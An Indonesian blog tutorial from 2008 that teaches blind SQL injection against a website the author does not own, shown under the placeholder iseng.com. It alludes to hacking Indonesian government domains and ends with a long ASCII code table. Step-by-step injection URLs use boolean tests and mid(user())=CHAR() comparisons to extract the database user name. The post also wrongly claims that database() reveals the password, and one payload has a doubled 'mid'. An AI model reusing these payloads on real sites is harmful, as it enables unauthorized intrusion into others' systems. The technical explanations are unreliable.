Blind SQL Injection (Dummy Again)

Oleh Cruz3N Published: Oktober 1, 2008 Updated: Oktober 13, 2008 Print Aku akan mencoba menjelaskan sesimple mungkin tentang blind sql injection yang aku anggap dulu rumit banget... Bukannya sok ngajarin atau apalah, disini aku hanya berusaha memberikan apa yang aku punya dan bisa... Oke, semua bermula karena aku suntuk banget...Semua target .go.id, co.id atau apapun.id dah dibabat habis sama senior disini...Akhirnya tanpa sengaja aku nyangkut ke situs luar...Anggep aja situs tersebut bernama http://iseng.com/news.php?id=76009 Nah pada target aku kali ini, aku menggunakan sql commands mid() yang hampir sama fungsinya dengan substring()... Langsung aja aku ketik http://iseng.com/news.php?id=76009 and 1=0 dan ternyata hasilnya adalah FALSE http://iseng.com/news.php?id=76009 and 1=1 bernilai TRUE Nah setelah aku yakin kalo web tersebut vulnerable maka aku melakukan injeksi (hehehehe...) http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65) Nah penjelasannya supaya lo semua pada ngerti (hehehehe...orang aku juga baru belajar, sok ngasih tau...) aku akan coba menjelaskan arti dan makna dari baris URL dan statement diatas... ~ mid(user()1,1) artinya dalam kasus ini aku tidak mengetahui value atau nilai dari user itu apa, maka dalam "()" aku sengaja kosongkan. ~ 1,1 adalah urutan dari value tersebut. ~ CHAR adalah peubah dalam desimal ~ 65 adalah value decimal tersebut dan 65 adalah "A" dalam ASCII so aku akan mengawalinya dengan 65 Nah kalo dah begini apa yang akan terjadi? Dalam tampilan web tersebut akan terjadi true atau false...Nah dalam kasus ini false, berarti aku harus memasukkan nilai yang lain agar menjadi true... FALSE http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(65) FALSE http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(66) TRUE!!! http://iseng.com/news.php?id=76009 and mid(user(),1,1)=CHAR(67) Akhirnya mendapatkan nilai true dan nilai tersebut adalah 67 (C dalam ASCII) Cari nilai kedua dan caranya adalah... http://iseng.com/news.php?id=76009 and mid(user(),1,2)=CHAR(67,65) Nah 1,1 nya dah diganti dengan 1,2...Jadi kalo dah dapet diganti aja jadi 1,3...1,4 dan seterusnya... Nah akhirnya aku mendapat nilai true pada angka ke 82 (R dalam ASCII) Lanjutin aja sampe dapet nilai atau value user dan sampai akhirnya menjadi http://iseng.com/news.php?id=76009 and mid(user(),1,6)=CHAR(67,82,85,90,51,78) 67=C 82=R 85=U 90=Z 51=3 78=N Ternyata username-nya adalah CRUZ3N (Wow.... Kebetulan yang sangat lucu ;p) Nah untuk cari passwordnya aku tinggal mengganti value user() menjadi database() dan lakukan semua tahap diatas dari pertama sampe dapet value true... Contoh: http://iseng.com/news.php?id=76009 and mid mid(database(),1,5)=CHAR(75,69,82,69,78) Jadi password yang didapat adalah... 75=K 69=E 82=R 69=E 78=N Jadi username dan passwordnya adalah CRUZ3N dan KEREN... Ternyata Blind SQL Injection gak nyebel-nyebelin amat (Tapi ngebetein...). Nah katanya neh...cara ini cukup efektif untuk web yang telah menfilter SQL Injection...Bener gak tuh? Gak tau dah... Ilmu aku belom nyampe situ... Oke sampe disini aja yah... Mohon maaf jika ada salah-salah kata dan berhubung aku lupa jadi kagak ada screenshootnya (Padahal kalo ada keren banget tuh ;p). Semoga penjelasan yang sangat amat singkat dan gak ada apa-apanya ini dapat berguna... Nih kode ASCII yang sapa tau berguna... Char Code Description 9 Tab 10 Line feed 13 Carriage return ' ' 32 Space ! 33 Exclamation mark " 34 Quotation mark # 35 Number sign $ 36 Dollar sign % 37 Percent sign & 38 Ampersand ' 39 Apostrophe ( 40 Left parenthesis ) 41 Right parenthesis * 42 Asterisk + 43 Plus sign , 44 Comma - 45 Hyphen-minus . 46 Full stop / 47 Solidus 0 48 Digit zero 1 49 Digit one 2 50 Digit two 3 51 Digit three 4 52 Digit four 5 53 Digit five 6 54 Digit six 7 55 Digit seven 8 56 Digit eight 9 57 Digit nine : 58 Colon ; 59 Semicolon <> = 61 Equals sign > 62 Greater-than sign ? 63 Question mark @ 64 Commercial at A 65 Latin capital letter A B 66 Latin capital letter B C 67 Latin capital letter C D 68 Latin capital letter D E 69 Latin capital letter E F 70 Latin capital letter F G 71 Latin capital letter G H 72 Latin capital letter H I 73 Latin capital letter I J 74 Latin capital letter J K 75 Latin capital letter K L 76 Latin capital letter L M 77 Latin capital letter M N 78 Latin capital letter N O 79 Latin capital letter O P 80 Latin capital letter P Q 81 Latin capital letter Q R 82 Latin capital letter R S 83 Latin capital letter S T 84 Latin capital letter T U 85 Latin capital letter U V 86 Latin capital letter V W 87 Latin capital letter W X 88 Latin capital letter X Y 89 Latin capital letter Y Z 90 Latin capital letter Z [ 91 Left square bracket 92 Reverse solidus ] 93 Right square bracket ^ 94 Circumflex accent _ 95 Low line ` 96 Grave accent a 97 Latin small letter a b 98 Latin small letter b c 99 Latin small letter c d 100 Latin small letter d e 101 Latin small letter e f 102 Latin small letter f g 103 Latin small letter g h 104 Latin small letter h i 105 Latin small letter i j 106 Latin small letter j k 107 Latin small letter k l 108 Latin small letter l m 109 Latin small letter m n 110 Latin small letter n o 111 Latin small letter o p 112 Latin small letter p q 113 Latin small letter q r 114 Latin small letter r s 115 Latin small letter s t 116 Latin small letter t u 117 Latin small letter u v 118 Latin small letter v w 119 Latin small letter w x 120 Latin small letter x y 121 Latin small letter y z 122 Latin small letter z { 123 left curly bracket | 124 Vertical line } 125 Right curly bracket ~ 126 Tilde  127 (not used) ? 128 Euro sign Currency Symbols ? 129 (not used) ? 130 Single low-9 quotation mark General Punctuation ? 131 Latin small letter f with hook Latin Extended-B ? 132 Double low-9 quotation mark General Punctuation ? 133 Horizontal ellipsis General Punctuation ? 134 Dagger General Punctuation ? 135 Double dagger General Punctuation ? 136 Modifier letter circumflex accent Spacing Modifier Letters ? 137 Per mille sign General Punctuation ? 138 Latin capital letter S with caron Latin Extended-A ? 139 Single left-pointing angle quotation mark General Punctuation ? 140 Latin capital ligature OE Latin Extended-A ? 141 (not used) ? 142 Latin capital letter Z with caron Latin Extended-A ? 143 (not used) ? 144 (not used) ? 145 Left single quotation mark General Punctuation ? 146 Right single quotation mark General Punctuation ? 147 Left double quotation mark General Punctuation ? 148 Right double quotation mark General Punctuation ? 149 Bullet General Punctuation ? 150 En dash General Punctuation ? 151 Em dash General Punctuation ? 152 Small tilde Spacing Modifier Letters ? 153 Trade mark sign Letterlike Symbols ? 154 Latin small letter s with caron Latin Extended-A ? 155 Single right-pointing angle quotation mark General Punctuation ? 156 Latin small ligature oe Latin Extended-A ? 157 (not used) ? 158 Latin small letter z with caron Latin Extended-A ? 159 Latin capital letter Y with diaeresis Latin Extended-A 160 No-break space ? 161 Inverted exclamation mark ? 162 Cent sign ? 163 Pound sign ? 164 Currency sign ? 165 Yen sign ? 166 Broken bar ? 167 Section sign ? 168 Diaeresis ? 169 Copyright sign ? 170 Feminine ordinal indicator ? 171 Left-pointing double angle quotation mark ? 172 Not sign ? 173 Soft hyphen ? 174 Registered sign ? 175 Macron ? 176 Degree sign ? 177 Plus-minus sign ? 178 Superscript two ? 179 Superscript three ? 180 Acute accent ? 181 Micro sign ? 182 Pilcrow sign ? 183 Middle dot ? 184 Cedilla ? 185 Superscript one ? 186 Masculine ordinal indicator ? 187 Right-pointing double angle quotation mark ? 188 Vulgar fraction one quarter ? 189 Vulgar fraction one half ? 190 Vulgar fraction three quarters ? 191 Inverted question mark ? 192 Latin capital letter A with grave ? 193 Latin capital letter A with acute ? 194 Latin capital letter A with circumflex ? 195 Latin capital letter A with tilde ? 196 Latin capital letter A with diaeresis ? 197 Latin capital letter A with ring above ? 198 Latin capital letter AE ? 199 Latin capital letter C with cedilla ? 200 Latin capital letter E with grave ? 201 Latin capital letter E with acute ? 202 Latin capital letter E with circumflex ? 203 Latin capital letter E with diaeresis ? 204 Latin capital letter I with grave ? 205 Latin capital letter I with acute ? 206 Latin capital letter I with circumflex ? 207 Latin capital letter I with diaeresis ? 208 Latin capital letter Eth ? 209 Latin capital letter N with tilde ? 210 Latin capital letter O with grave ? 211 Latin capital letter O with acute ? 212 Latin capital letter O with circumflex ? 213 Latin capital letter O with tilde ? 214 Latin capital letter O with diaeresis ? 215 Multiplication sign ? 216 Latin capital letter O with stroke ? 217 Latin capital letter U with grave ? 218 Latin capital letter U with acute ? 219 Latin capital letter U with circumflex ? 220 Latin capital letter U with diaeresis ? 221 Latin capital letter Y with acute ? 222 Latin capital letter Thorn ? 223 Latin small letter sharp s ? 224 Latin small letter a with grave ? 225 Latin small letter a with acute ? 226 Latin small letter a with circumflex ? 227 Latin small letter a with tilde ? 228 Latin small letter a with diaeresis ? 229 Latin small letter a with ring above ? 230 Latin small letter ae ? 231 Latin small letter c with cedilla ? 232 Latin small letter e with grave ? 233 Latin small letter e with acute ? 234 Latin small letter e with circumflex ? 235 Latin small letter e with diaeresis ? 236 Latin small letter i with grave ? 237 Latin small letter i with acute ? 238 Latin small letter i with circumflex ? 239 Latin small letter i with diaeresis ? 240 Latin small letter eth ? 241 Latin small letter n with tilde ? 242 Latin small letter o with grave ? 243 Latin small letter o with acute ? 244 Latin small letter o with circumflex ? 245 Latin small letter o with tilde ? 246 Latin small letter o with diaeresis ? 247 Division sign ? 248 Latin small letter o with stroke ? 249 Latin small letter u with grave ? 250 Latin small letter u with acute ? 251 Latin small letter with circumflex ? 252 Latin small letter u with diaeresis ? 253 Latin small letter y with acute ? 254 Latin small letter thorn ? 255 Latin small letter y with diaeresis

Category:  
You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response.
0 Responses
Leave a Reply